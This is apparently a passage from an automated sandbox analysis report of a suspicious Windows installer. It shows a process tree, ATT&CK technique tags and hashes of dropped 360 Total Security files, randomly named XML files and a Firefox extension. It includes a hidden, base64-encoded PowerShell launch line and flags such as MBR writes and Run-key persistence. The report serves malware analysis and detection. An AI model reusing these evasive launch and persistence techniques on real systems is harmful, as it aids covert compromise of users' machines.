                                                                                                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                  PID:1812
                                                                                                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1792
                                                                                                                                                                                                • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:2144
                                                                                                                                                                                                  • C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
                                                                                                                                                                                                    "C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Sets service image path in registry
                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                    • Enumerates connected drives
                                                                                                                                                                                                    • Maps connected drives based on registry
                                                                                                                                                                                                    • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                    PID:1916
                                                                                                                                                                                                    • C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
                                                                                                                                                                                                      /showtrayicon
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Sets service image path in registry
                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                                                                      • Maps connected drives based on registry
                                                                                                                                                                                                      • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                      PID:2924
                                                                                                                                                                                                      • C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:1056
                                                                                                                                                                                                      • C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                        PID:1296
                                                                                                                                                                                                      • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                                        C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Installs/modifies Browser Helper Object
                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                        PID:2628
                                                                                                                                                                                                    • C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
                                                                                                                                                                                                      "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:3192
                                                                                                                                                                                                    • C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
                                                                                                                                                                                                      "C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                      PID:3264

                                                                                                                                                                                                  Network

                                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                        Execution

                                                                                                                                                                                                        Command and Scripting Interpreter

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1059

                                                                                                                                                                                                        PowerShell

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1059.001

                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1053

                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                        4
                                                                                                                                                                                                        T1547

                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                        4
                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                        Browser Extensions

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1176

                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1543

                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                        Event Triggered Execution

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546

                                                                                                                                                                                                        Change Default File Association

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546.001

                                                                                                                                                                                                        Pre-OS Boot

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1542

                                                                                                                                                                                                        Bootkit

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1542.003

                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1053

                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                        4
                                                                                                                                                                                                        T1547

                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                        4
                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1543

                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                        Event Triggered Execution

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546

                                                                                                                                                                                                        Change Default File Association

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546.001

                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1053

                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                        Impair Defenses

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1562

                                                                                                                                                                                                        Disable or Modify Tools

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1562.001

                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                        8
                                                                                                                                                                                                        T1112

                                                                                                                                                                                                        Pre-OS Boot

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1542

                                                                                                                                                                                                        Bootkit

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1542.003

                                                                                                                                                                                                        Subvert Trust Controls

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1553

                                                                                                                                                                                                        Install Root Certificate

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1553.004

                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1497

                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                        Unsecured Credentials

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1552

                                                                                                                                                                                                        Credentials In Files

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1552.001

                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                        Peripheral Device Discovery

                                                                                                                                                                                                        2
                                                                                                                                                                                                        T1120

                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                        8
                                                                                                                                                                                                        T1012

                                                                                                                                                                                                        Software Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1518

                                                                                                                                                                                                        Security Software Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1518.001

                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                        8
                                                                                                                                                                                                        T1082

                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1497

                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                        Collection

                                                                                                                                                                                                        Data from Local System

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1005

                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                        Web Service

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1102

                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                        Impact

                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                        360Base64.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\360Base64.dll
                                                                                                                                                                                                        • Size 1.2MB
                                                                                                                                                                                                        • SHA256 80765adb886050b0f87e30fa62336985db67c09b25f4d1760194a28ff78899d7
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360NetBase.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\360NetBase.dll
                                                                                                                                                                                                        • Size 1.4MB
                                                                                                                                                                                                        • SHA256 401d8529a84f1d80a439be8cd4e869202162458e5afb5e5bac97c4859bfe8eb5
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360NetBase64.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\360NetBase64.dll
                                                                                                                                                                                                        • Size 2.2MB
                                                                                                                                                                                                        • SHA256 ab52fff1840b010a1e6be5e432c44ca0aa2857d5da3df6574fc0fbc0004edc7a
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360rcbase.dat
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\360rcbase.dat
                                                                                                                                                                                                        • Size 4KB
                                                                                                                                                                                                        • SHA256 01d6c6cdae2f16aa0f502b6c03e2db4b21b56b55599f2223e3eea2b6129ca17c
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        Dumpuper.exe
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\Dumpuper.exe
                                                                                                                                                                                                        • Size 1.4MB
                                                                                                                                                                                                        • SHA256 5f21575642ecf7d38be30aef50be623f74dc3644603e0cb48d1b297ae2066614
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        I18N.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\I18N.dll
                                                                                                                                                                                                        • Size 95KB
                                                                                                                                                                                                        • SHA256 239824a487ae786daadc9e556c185561378f47ec7ba6b216c17242aea3a78ff9
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        QHSafeMain.exe
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\QHSafeMain.exe
                                                                                                                                                                                                        • Size 5.0MB
                                                                                                                                                                                                        • SHA256 9139c35f72fe7a6cc32bb40d7841301246ba6e9330990a240c1afb914bde5a7d
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        Sites64.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\Sites64.dll
                                                                                                                                                                                                        • Size 2.1MB
                                                                                                                                                                                                        • SHA256 e751410539c790554ef7e3f198689b61ed06955a608dc1fcb392bb4b7fe522c6
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        DesktopPlus.exe
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\Utils\DesktopPlus\DesktopPlus.exe
                                                                                                                                                                                                        • Size 2.6MB
                                                                                                                                                                                                        • SHA256 e2fa4a52ffbec327e8678fb584cd6573c7966737251e6aa3cad113d63c3ca0e3
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        PowerSaver.exe
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe
                                                                                                                                                                                                        • Size 145KB
                                                                                                                                                                                                        • SHA256 192b065887382e2755b2223b6a956ff1670b78d561012e0b1cbf862d90b46559
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        DesktopPlus_theme.ui
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\config\newui\themes\default\DesktopPlus\DesktopPlus_theme.ui
                                                                                                                                                                                                        • Size 2.6MB
                                                                                                                                                                                                        • SHA256 ddcad9ae427569f62da3215069239578f34efda606c0a175a1801a91d92b987a
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        default_theme.ui
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\config\newui\themes\default\default_theme.ui
                                                                                                                                                                                                        • Size 1.2MB
                                                                                                                                                                                                        • SHA256 ef070cd93ce6e055f0651b83113d736e11c6a57352ef471aca794c5bd9167e69
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360FsFlt_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\deepscan\360FsFlt_old.sys
                                                                                                                                                                                                        • Size 518KB
                                                                                                                                                                                                        • SHA256 4df4e20bd4062e8971d85e8145b0b91b60922ec9f007702ba2b81d08029ba8e3
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        BAPI.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\deepscan\BAPI.dll
                                                                                                                                                                                                        • Size 245KB
                                                                                                                                                                                                        • SHA256 e6243a7741708b911cc0c5233fbf1572309f372575c337116878a430740264df
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        BAPIDRV64_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV64_old.sys
                                                                                                                                                                                                        • Size 223KB
                                                                                                                                                                                                        • SHA256 6edb05bc886e30adba4164cc852eb089630d936f106a5a29f4d30727f1a6535a
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        BAPIDRV_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV_old.sys
                                                                                                                                                                                                        • Size 194KB
                                                                                                                                                                                                        • SHA256 dc346a2acb7a340a3ebfec2ac684254defb66f5485726d0ef32b51a3247fab83
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        dsark64_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\deepscan\dsark64_old.sys
                                                                                                                                                                                                        • Size 175KB
                                                                                                                                                                                                        • SHA256 11be27f2ba0af548e2fd5ad7baaa5ac3e10b928b0742680ab9f673d1ebf31521
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        qutmload.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\deepscan\qutmload.dll
                                                                                                                                                                                                        • Size 111KB
                                                                                                                                                                                                        • SHA256 eed8df7dc1f0e59b367cf49aa53c91f05953d0164f2d0900ab8ec738a413e5e1
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360AvFlt.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\filemon\360AvFlt.dll
                                                                                                                                                                                                        • Size 53KB
                                                                                                                                                                                                        • SHA256 5e11c25e4d6e146c5e10fcbc21b2cdb5e97ec47f25c416e5d263985f3d964172
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360AvFlt_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\filemon\360AvFlt_old.sys
                                                                                                                                                                                                        • Size 84KB
                                                                                                                                                                                                        • SHA256 3b81711731e79ea45c3545b599f3ebc21ced95f608694332892c918e6b2faa17
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360avflt64_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\filemon\360avflt64_old.sys
                                                                                                                                                                                                        • Size 98KB
                                                                                                                                                                                                        • SHA256 167b31798b2bec91bb60eb64f50300a0c5e1605203349817754c6be161a84539
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        AVCheck.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\filemon\AVCheck.dll
                                                                                                                                                                                                        • Size 321KB
                                                                                                                                                                                                        • SHA256 7b79ca1ec9ea05d6549218af8c646f8cb25c563e66d810ca8890340066cff72b
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        AVLib.dat
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\filemon\AVLib.dat
                                                                                                                                                                                                        • Size 359KB
                                                                                                                                                                                                        • SHA256 2265a0b291d07eed46ff162f10dda492aa62aed8ea8b5b6146cc995e15dcbab6
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        UrlSettings.dll.locale
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\i18n\en\UrlSettings.dll.locale
                                                                                                                                                                                                        • Size 22KB
                                                                                                                                                                                                        • SHA256 063e660b1e32cbaefb8b928f1fa638853bbcb6b996bb08496fc861fc5425a840
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        i18n.ini
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\i18n\i18n.ini
                                                                                                                                                                                                        • Size 246B
                                                                                                                                                                                                        • SHA256 f421332fd132d8405cad34871425c9922e4a1b172d74f86b9e4e7ee750205919
                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360AntiHacker64.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360AntiHacker64.sys
                                                                                                                                                                                                        • Size 186KB
                                                                                                                                                                                                        • SHA256 66152d1316b674a95ee0bd63844e6acb5a709a177934814aede80166bf2bc204
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360Box.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360Box.dll
                                                                                                                                                                                                        • Size 50KB
                                                                                                                                                                                                        • SHA256 1587d34c58ff2376384a0f3b279248d080724809eaf5f251cc2dda7896f04602
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360Box64_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360Box64_old.sys
                                                                                                                                                                                                        • Size 342KB
                                                                                                                                                                                                        • SHA256 23283e2c2bd6ccb04436c90037282dd103bc8add9bc62e9f5d34842e2e336b11
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360Box_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360Box_old.sys
                                                                                                                                                                                                        • Size 216KB
                                                                                                                                                                                                        • SHA256 5d90f8287ad1ccbc6e6c3c656b1a84467c50801590d8f730c10b0d106532294c
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360Camera64.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360Camera64.sys
                                                                                                                                                                                                        • Size 48KB
                                                                                                                                                                                                        • SHA256 5b64447141ffe714f04a4ae489dac020b5ca0c31011c8edcc22da8cbfe265256
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360boxmain.exe
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360boxmain.exe
                                                                                                                                                                                                        • Size 923KB
                                                                                                                                                                                                        • SHA256 0352b4b7908255b9487e3581a521152b7a0ab62e428f13186d23bf41c3e3941f
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360hvm.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360hvm.dll
                                                                                                                                                                                                        • Size 23KB
                                                                                                                                                                                                        • SHA256 e794c636a50b5f51e0bd233c59c9144277a94792d3537460123a39c583d01421
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360hvm64_old.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\360hvm64_old.sys
                                                                                                                                                                                                        • Size 330KB
                                                                                                                                                                                                        • SHA256 3c9da5ab28427405bf1099c1e7c3e77683c658c0c7c5fc458f606f368e7c6fc6
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        DrvUtility.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\DrvUtility.dll
                                                                                                                                                                                                        • Size 171KB
                                                                                                                                                                                                        • SHA256 4f798cf1e27dd355709c4ebe11a24b17ee832b4051f8952d9ae12942e0ccc5a9
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        X64For32Lib.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\X64For32Lib.dll
                                                                                                                                                                                                        • Size 59KB
                                                                                                                                                                                                        • SHA256 3305ad2718c9bb9bd1db19cde17a184e0d7e497ff3930050c74875bc50f9690b
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        cleancfg.dat
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\cleancfg.dat
                                                                                                                                                                                                        • Size 2KB
                                                                                                                                                                                                        • SHA256 287a47dba7cbcb4c7688f82f17e2020280bd0ee0670abe3c91413bdd26aa9e34
                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        sbmon.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\ipc\sbmon.dll
                                                                                                                                                                                                        • Size 366KB
                                                                                                                                                                                                        • SHA256 edf443a3751d042fe16b8b11b484357a1b4702310bb50fb7aba9d68725803612
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        KB931125-rootsupd.exe
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe
                                                                                                                                                                                                        • Size 448KB
                                                                                                                                                                                                        • SHA256 2bff74b83dc66fc74df2f527071c1ca80a992ba2b887f6043b09564d1b814213
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360netctrl.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\netmon\360netctrl.dll
                                                                                                                                                                                                        • Size 382KB
                                                                                                                                                                                                        • SHA256 b76103ff3d6faa46537d3db213270a086ae3b5b58fe6841b03cd5f9f73c54247
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        360netmon_x64.sys
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\netmon\netdrv\x64\360netmon_x64.sys
                                                                                                                                                                                                        • Size 85KB
                                                                                                                                                                                                        • SHA256 4f622357bb25b9d0c211fa2472b1d2abce42c2fcb763bce6cbd89f7afe42e83c
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        netmstart.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\netmon\netmstart.dll
                                                                                                                                                                                                        • Size 169KB
                                                                                                                                                                                                        • SHA256 ce993f7583b1f253c6d82027b89fd867390ea1563564da75684d293539edc6a2
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        QHActiveDefense.exe
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
                                                                                                                                                                                                        • Size 1.1MB
                                                                                                                                                                                                        • SHA256 e4c4fcf88132c1970ccb9ec8f43dc7d1ee193ad552ccdef8ab166959a25696c2
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        sites.dll
                                                                                                                                                                                                        • Path C:\Program Files (x86)\360\Total Security\sites.dll
                                                                                                                                                                                                        • Size 1.4MB
                                                                                                                                                                                                        • SHA256 074f19878542b07060bcf7a10238aac2571eda75f6596fed6a0a1f7e884f2305
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        kurEBqm.xml
                                                                                                                                                                                                        • Path C:\Program Files (x86)\ADJLsahCU\kurEBqm.xml
                                                                                                                                                                                                        • Size 2KB
                                                                                                                                                                                                        • SHA256 4977305e696a46edb624b6e7bebca802039e281ce32ea153a670586a2b9d5319
                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        FAdGzqn.xml
                                                                                                                                                                                                        • Path C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\FAdGzqn.xml
                                                                                                                                                                                                        • Size 2KB
                                                                                                                                                                                                        • SHA256 bf69e7aceaccee2d052e84301a7a836523b74bfa553048b6cf63666dca16cffa
                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        wSZtIeA.xml
                                                                                                                                                                                                        • Path C:\Program Files (x86)\DQANlvmTAvZU2\wSZtIeA.xml
                                                                                                                                                                                                        • Size 2KB
                                                                                                                                                                                                        • SHA256 649ddedfd9da78e6e113634ab7c9d1e99f4791f12fec396cad33935f31eb02eb
                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        qCToBFR.xml
                                                                                                                                                                                                        • Path C:\Program Files (x86)\PZjcxajBIsNTC\qCToBFR.xml
                                                                                                                                                                                                        • Size 2KB
                                                                                                                                                                                                        • SHA256 7e0ce20dcdcdb5aa7bda87717b1fe273fd71b1727feefe9366c8da9d8772e5ae
                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        {85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                        • Path C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                        • Size 2.0MB
                                                                                                                                                                                                        • SHA256 22e6df6b96eb64061a125be6c67d53097ae1c3cb889f5216a5ac64eef743bb5c
                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                        NOlNKpw.xml
